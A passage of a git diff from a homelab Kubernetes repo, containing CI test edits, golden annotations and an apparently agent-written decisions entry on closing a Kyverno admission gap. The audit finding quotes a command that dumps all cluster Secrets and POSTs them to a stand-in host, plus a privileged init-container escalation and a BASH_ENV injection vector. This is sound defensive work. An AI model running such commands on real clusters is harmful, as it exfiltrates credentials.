||||
rc=3. Exit 0 here turns that back into a silent green"
|
||||
|
||||
[ "$rc_undeclared" = 0 ]
|
||||
chk $? "a SKIPPED check with NO scope declaration still exits 0 (unchanged for scaffolds)" \
|
||||
[ "$rc_undeclared" = 0 ] && arc=0 || arc=$?
|
||||
chk $arc "a SKIPPED check with NO scope declaration still exits 0 (unchanged for scaffolds)" \
|
||||
"a SKIPPED undeclared check made the runner exit ${rc_undeclared}, not 0 — the strict
|
||||
rule leaked onto ordinary scaffolds, which would make every unfinished test block"
|
||||
|
||||
# ...and ci/l0.sh must map that rc 3 to the GATE's rc 3, never to a pass.
|
||||
l0_static_stage="$(sed -n '/Stage 3b: L0 STATIC/,/^case "\$rc" in/p' "$L0_SH")"
|
||||
printf '%s\n' "$l0_static_stage" | grep -Eq '^[[:space:]]*3\)' \
|
||||
&& printf '%s\n' "$l0_static_stage" | grep -Eq 'rc=3'
|
||||
chk $? "ci/l0.sh maps the runner's rc 3 to the gate's own rc 3 (SKIPPED, not a pass)" \
|
||||
&& printf '%s\n' "$l0_static_stage" | grep -Eq 'rc=3' && arc=0 || arc=$?
|
||||
chk $arc "ci/l0.sh maps the runner's rc 3 to the gate's own rc 3 (SKIPPED, not a pass)" \
|
||||
"ci/l0.sh's L0-static stage has no rc-3 arm setting the gate's rc=3, so a scope-declared
|
||||
check that SKIPPED would be reported as a PASS — the exact false green the deleted
|
||||
stages were written to prevent"
|
||||
@@ -193,8 +226,8 @@ done
|
||||
|
||||
# ---- (5) the gate still BLOCKS on an l0 failure -----------------------------------------
|
||||
# Carried over from the three deleted stages' own checks — asserted once, here.
|
||||
grep -Eq '^for s in .*\bl0\b.*; do' "$GATE_SH" && grep -Eq 'fail\).*BLOCK=1' "$GATE_SH"
|
||||
chk $? "ci/gate.sh sets the merge block when the l0 stage fails" \
|
||||
grep -Eq '^for s in .*\bl0\b.*; do' "$GATE_SH" && grep -Eq 'fail\).*BLOCK=1' "$GATE_SH" && arc=0 || arc=$?
|
||||
chk $arc "ci/gate.sh sets the merge block when the l0 stage fails" \
|
||||
"ci/gate.sh does not set the merge block on an l0 stage failure — every assertion above
|
||||
would hold while a red L0 stage merged anyway"
|
||||
|
||||
|
||||
@@ -23,6 +23,17 @@ metadata:
|
||||
conformance.home.k3s/requirements: "R-PLAT-02"
|
||||
conformance.home.k3s/layer: "L1"
|
||||
conformance.home.k3s/safety-critical: "false"
|
||||
# WHY SCOPE, NOT REQUIREMENTS ALONE: every L1 test exercises ONE shared code path —
|
||||
# catalog/render.py against schemas/servicedefinition.schema.json — so anything that changes
|
||||
# rendered output breaks these goldens regardless of which requirement the touched path maps to.
|
||||
# Requirement-scoped selection cannot see that coupling. Concretely (2026-09-04 external-dns
|
||||
# merge): `platform/externaldns/helmrelease.yaml` attributes R-ENV-02, R-OBS-01/02/04,
|
||||
# R-STATE-03 and R-TEST-01/02/03/04 via ci/touched-requirements.sh — NOT R-PLAT-02, R-NET-01 or
|
||||
# R-NET-05/06/07 — yet it added `external-dns.alpha.kubernetes.io/controller: none` to the
|
||||
# rendered output of ALL THREE L1 goldens. A requirement-scoped gate selected ZERO L1 tests, went
|
||||
# GREEN, and left every golden stale; the staleness surfaced only on a later full run.
|
||||
# ci/l1.sh has passed --include-scope since it was written, waiting for this annotation.
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/intent: >-
|
||||
A kind: container ServiceDefinition renders a Deployment + Service (the PaaS path).
|
||||
spec:
|
||||
|
||||
@@ -196,6 +196,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -27,6 +27,17 @@ metadata:
|
||||
conformance.home.k3s/requirements: "R-NET-01"
|
||||
conformance.home.k3s/layer: "L1"
|
||||
conformance.home.k3s/safety-critical: "false"
|
||||
# WHY SCOPE, NOT REQUIREMENTS ALONE: every L1 test exercises ONE shared code path —
|
||||
# catalog/render.py against schemas/servicedefinition.schema.json — so anything that changes
|
||||
# rendered output breaks these goldens regardless of which requirement the touched path maps to.
|
||||
# Requirement-scoped selection cannot see that coupling. Concretely (2026-09-04 external-dns
|
||||
# merge): `platform/externaldns/helmrelease.yaml` attributes R-ENV-02, R-OBS-01/02/04,
|
||||
# R-STATE-03 and R-TEST-01/02/03/04 via ci/touched-requirements.sh — NOT R-PLAT-02, R-NET-01 or
|
||||
# R-NET-05/06/07 — yet it added `external-dns.alpha.kubernetes.io/controller: none` to the
|
||||
# rendered output of ALL THREE L1 goldens. A requirement-scoped gate selected ZERO L1 tests, went
|
||||
# GREEN, and left every golden stale; the staleness surfaced only on a later full run.
|
||||
# ci/l1.sh has passed --include-scope since it was written, waiting for this annotation.
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/intent: >-
|
||||
Rendering any service's namespace yields a default-deny baseline policy.
|
||||
spec:
|
||||
|
||||
@@ -32,6 +32,17 @@ metadata:
|
||||
conformance.home.k3s/requirements: "R-NET-05, R-NET-06, R-NET-07"
|
||||
conformance.home.k3s/layer: "L1"
|
||||
conformance.home.k3s/safety-critical: "false"
|
||||
# WHY SCOPE, NOT REQUIREMENTS ALONE: every L1 test exercises ONE shared code path —
|
||||
# catalog/render.py against schemas/servicedefinition.schema.json — so anything that changes
|
||||
# rendered output breaks these goldens regardless of which requirement the touched path maps to.
|
||||
# Requirement-scoped selection cannot see that coupling. Concretely (2026-09-04 external-dns
|
||||
# merge): `platform/externaldns/helmrelease.yaml` attributes R-ENV-02, R-OBS-01/02/04,
|
||||
# R-STATE-03 and R-TEST-01/02/03/04 via ci/touched-requirements.sh — NOT R-PLAT-02, R-NET-01 or
|
||||
# R-NET-05/06/07 — yet it added `external-dns.alpha.kubernetes.io/controller: none` to the
|
||||
# rendered output of ALL THREE L1 goldens. A requirement-scoped gate selected ZERO L1 tests, went
|
||||
# GREEN, and left every golden stale; the staleness surfaced only on a later full run.
|
||||
# ci/l1.sh has passed --include-scope since it was written, waiting for this annotation.
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/intent: >-
|
||||
egress: vpn renders the egress-gateway + kill-switch path; internet does not.
|
||||
spec:
|
||||
|
||||
+1
@@ -223,6 +223,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: media-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -223,6 +223,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: media-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -6,6 +6,10 @@
|
||||
|
||||
# Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
|
||||
CHAINSAW_VERSION="v0.2.12"
|
||||
# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
|
||||
# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
|
||||
# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
|
||||
# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
|
||||
CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
|
||||
|
||||
# kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
|
||||
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
|
||||
# Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
|
||||
# only constraint is a modern interpreter.
|
||||
PYTHON_MIN="3.9"
|
||||
|
||||
# --- In-cluster conformance runner image -------------------------------------
|
||||
# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
|
||||
# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
|
||||
# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
|
||||
#
|
||||
# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
|
||||
# init container's only entrypoint. That is a security fixture, not a convenience: the
|
||||
# admission policy never reads `initContainers`, so an init container with an inline shell
|
||||
# script is currently admitted with the privileged runner SA. The policy rule that makes the
|
||||
# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
|
||||
#
|
||||
# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
|
||||
# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
|
||||
# ADMITS a conformance-trigger Job only when its image matches
|
||||
# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
|
||||
# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
|
||||
CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
|
||||
# Build handle only. Admission never sees the tag; a Job must reference the digest.
|
||||
CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
|
||||
#
|
||||
# ############################################################################
|
||||
# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET. #
|
||||
# ############################################################################
|
||||
# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
|
||||
# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
|
||||
# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
|
||||
# pushing needs a registry credential, and publishing the artifact a fail-closed security
|
||||
# boundary then trusts is an OPERATOR action, not an agent's.
|
||||
#
|
||||
# OPERATOR, to complete the pin:
|
||||
# 1. ./conformance/incluster/build-image.sh # rebuild, verify, print the commands
|
||||
# 2. podman login gitea.home.keithjackson.dev
|
||||
# 3. podman push --digestfile /tmp/conformance-runner.digest \
|
||||
# "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
|
||||
# 4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
|
||||
# — the digest the REGISTRY returned, not the local manifest digest the build printed.
|
||||
# 5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
|
||||
#
|
||||
# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
|
||||
# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
|
||||
# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
|
||||
CONFORMANCE_RUNNER_IMAGE_DIGEST=""
|
||||
CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
|
||||
#
|
||||
# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
|
||||
# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
|
||||
# that closes the residual "anyone who can push to this path" gap. Separate PR, human
|
||||
# reviewed, because it edits the security boundary itself.
|
||||
@@ -0,0 +1,401 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: feat/conformance-job-template
|
||||
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
|
||||
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
|
||||
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
|
||||
renderable run template. Along the way the admission policy that is supposed to bound that Job
|
||||
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
|
||||
more rules and moved the clone script out of the Job entirely.
|
||||
|
||||
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
|
||||
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
|
||||
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
|
||||
> file under `decisions/`; the archive is untouched.
|
||||
|
||||
### The binding constraint, and how it was met
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
|
||||
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
|
||||
Secret volume and the init container could not have a scratch volume:
|
||||
|
||||
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
|
||||
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
|
||||
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
|
||||
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
|
||||
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
|
||||
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
|
||||
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
|
||||
not write it.
|
||||
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
|
||||
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
|
||||
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
|
||||
|
||||
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
|
||||
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
|
||||
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
|
||||
happened to be.
|
||||
|
||||
### Results out of the Job with no exec channel
|
||||
|
||||
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
|
||||
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
|
||||
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
|
||||
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
|
||||
|
||||
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
<base64 of the tgz, wrapped at 76 columns>
|
||||
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
|
||||
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
|
||||
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
|
||||
digest appear in **both** markers and the collector owes five checks, each documented above the
|
||||
function.
|
||||
|
||||
### THE FINDING: the admission boundary did not look at `initContainers`
|
||||
|
||||
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
|
||||
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
|
||||
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
|
||||
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
|
||||
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
|
||||
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
|
||||
already have carried one.
|
||||
|
||||
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
|
||||
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
|
||||
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
|
||||
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
|
||||
policy gained four rules in this branch:
|
||||
|
||||
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
||||
must be on the digest-pinned `conformance-runner` image, `command:
|
||||
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
||||
false`, not privileged.
|
||||
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
|
||||
note under "What I did NOT verify".
|
||||
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
||||
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
||||
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
||||
`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
|
||||
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
|
||||
non-interactive script, and the runner's command IS a bash script. The init list iterates
|
||||
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
|
||||
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
||||
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
||||
|
||||
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
|
||||
one** element matches", so a pattern-based init rule would have admitted the committed clone step
|
||||
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
||||
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
||||
|
||||
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
||||
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
||||
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
|
||||
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
|
||||
undone.
|
||||
|
||||
### The clone script left the Job — that is the actual fix
|
||||
|
||||
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
||||
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
||||
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
|
||||
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
|
||||
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
|
||||
else.
|
||||
|
||||
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
|
||||
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
|
||||
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
|
||||
1's version before deleting mine rather than assuming compatibility, and the interface my Job
|
||||
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
|
||||
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
|
||||
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
|
||||
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
|
||||
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
|
||||
than honouring it.
|
||||
|
||||
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
|
||||
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
||||
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
|
||||
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
|
||||
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
|
||||
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
|
||||
**independently and against an instruction to read those values from env** — an instruction the
|
||||
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
|
||||
trusting it just moves the injection" reasoning in one afternoon is the signal that the
|
||||
field-enumeration gap was systemic, not a one-off.
|
||||
|
||||
### The committed `args` default was a shape that cannot run
|
||||
|
||||
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
|
||||
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
||||
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
||||
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
||||
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
|
||||
filters to `/l0-static/|/l1-rendering/`:
|
||||
|
||||
| args | offline selection | verdict |
|
||||
|---|---|---|
|
||||
| `--layer l2,l3` | empty | **RUNS** |
|
||||
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
||||
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
||||
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
||||
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
||||
|
||||
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
|
||||
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
|
||||
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
|
||||
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
|
||||
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
|
||||
|
||||
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
|
||||
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
||||
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
||||
considered rather than missed.
|
||||
|
||||
## What I verified
|
||||
|
||||
### Admission, proven with the pinned CLI rather than assumed
|
||||
|
||||
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
|
||||
|
||||
##### the real rendered template MUST PASS
|
||||
Applying 7 policy rule(s) to 1 resource(s)...
|
||||
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### the coordinator's exact initContainer probe MUST FAIL
|
||||
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
||||
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### same escalation via ephemeralContainers MUST FAIL
|
||||
1 - trigger-may-not-declare-ephemeral-containers ...
|
||||
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
|
||||
compliant and `serviceAccountName: conformance-runner`:
|
||||
|
||||
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
||||
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
|
||||
- the committed template with **only** the init container's `args` swapped for
|
||||
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||
→ `pass: 3, fail: 0` — **ADMITTED**
|
||||
|
||||
Negative controls on the same rendered template, showing the original rules do bite where they
|
||||
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
|
||||
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
|
||||
`/spec/template/spec/containers/0/command/`.
|
||||
|
||||
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
|
||||
|
||||
| resource | creat | vols | args | init | ephem | envnm | envfr |
|
||||
|---|---|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
||||
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
||||
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
||||
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
||||
|
||||
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
|
||||
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
|
||||
column, and it is why the fixtures are worth more than the rules' prose.
|
||||
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
||||
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
||||
That is why env had to be its own rule and not a condition bolted onto the init rule.
|
||||
|
||||
The rendered template is now a fixture (`real-template` in
|
||||
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
|
||||
admission fails `make -C ci l0` instead of failing at 2am.
|
||||
|
||||
### How strong that evidence is — the `kyverno test` load trap
|
||||
|
||||
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
|
||||
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
|
||||
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
|
||||
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
|
||||
`Test Summary: 9 tests passed and 0 tests failed`.
|
||||
|
||||
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
|
||||
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
|
||||
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
|
||||
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
|
||||
`error: 0, skip: 0` in the numbers above, not the exit code.
|
||||
|
||||
Two further limits on what a CLI pass proves:
|
||||
|
||||
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
|
||||
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
|
||||
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
|
||||
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
|
||||
`kyverno apply`.
|
||||
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
|
||||
admission in the cluster.
|
||||
|
||||
### Two Kyverno traps, both of which silently invert the result
|
||||
|
||||
Both are now commented in the rules:
|
||||
|
||||
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
|
||||
`false` into `true` and denies every good Job.
|
||||
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
|
||||
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### The results envelope
|
||||
|
||||
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
|
||||
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
|
||||
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
|
||||
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
|
||||
verified; its transport over `kubectl logs` from a real Pod is not.**
|
||||
|
||||
### Gate
|
||||
|
||||
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
|
||||
`.git`, per CLAUDE.md §3):
|
||||
|
||||
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
|
||||
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
|
||||
spec-immutability: green
|
||||
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
|
||||
2 entries well-formed — this one included)
|
||||
lint: green (404 files)
|
||||
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
|
||||
0 failures, 0 skips, 0 unwired)
|
||||
render-golden: green (10 onboarded service goldens reproduce)
|
||||
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
|
||||
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
|
||||
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
|
||||
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
|
||||
Stages that did not run: gitea-settings
|
||||
rc 3
|
||||
|
||||
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
|
||||
says nothing about Gitea's branch protection or runner registration, and the seven touched
|
||||
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
|
||||
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
|
||||
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
|
||||
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
|
||||
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
|
||||
eye — though that stage checks *structure*, never whether any claim inside it is true.
|
||||
|
||||
### The `approval-policy` check this PR was expected to fail does not exist
|
||||
|
||||
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
|
||||
security-relevant. **That check does not exist.** Measured rather than assumed:
|
||||
|
||||
grep -rn approval .gitea/workflows/ -> no match
|
||||
GET /repos/.../branches/main
|
||||
protected True
|
||||
user_can_push False
|
||||
enable_status_check True
|
||||
status_check_contexts ['gate / gate (pull_request)']
|
||||
required_approvals 1
|
||||
GET /repos/.../commits/<head>/statuses
|
||||
success gate / gate (pull_request) Successful in 1m36s
|
||||
